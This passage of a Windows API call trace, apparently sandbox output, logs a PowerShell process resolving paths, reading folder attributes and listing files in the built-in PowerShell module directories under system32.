nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.194] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0276.194] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0276.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.195] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0276.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0276.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.195] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0276.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x56, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", lpFilePart=0x0) returned 0x55 [0276.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.196] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0276.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0276.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.197] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0276.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0276.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.197] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492a5660, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0276.198] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0276.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.198] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0276.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0276.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0276.200] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0276.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49422420, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0276.202] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x48, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", lpFilePart=0x0) returned 0x47 [0276.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.203] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkswitchmanager"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4927f500, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492a5660, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492a5660, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.203] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0276.203] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0276.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.203] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49422420, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49422420, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0276.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0276.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.210] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.211] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0276.211] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0276.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.211] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.212] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0276.212] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x3e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", lpFilePart=0x0) returned 0x3d [0276.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.212] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflow"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49317a80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49317a80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49317a80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.212] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0276.212] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x45, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", lpFilePart=0x0) returned 0x44 [0276.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.213] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflowutility"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.213] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0276.213] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0276.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0276.213] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0276.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0276.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0276.214] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0276.214] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0276.214] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0276.215] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x492f1920, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x492f1920, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x492f1920, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.215] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x3f4261d7, ftLastWriteTime.dwHighDateTime=0x1d21d42, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0276.215] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa79820, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8fa79820, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x93bdb87, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0276.215] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa79820, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8fa79820, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x93bdb87, ftLastWriteTime.dwHighDateTime=0x1d22fec, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0276.215] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0276.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0276.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0276.215] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0276.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0276.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0276.221] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0276.221] GetFullPathNameW (in: 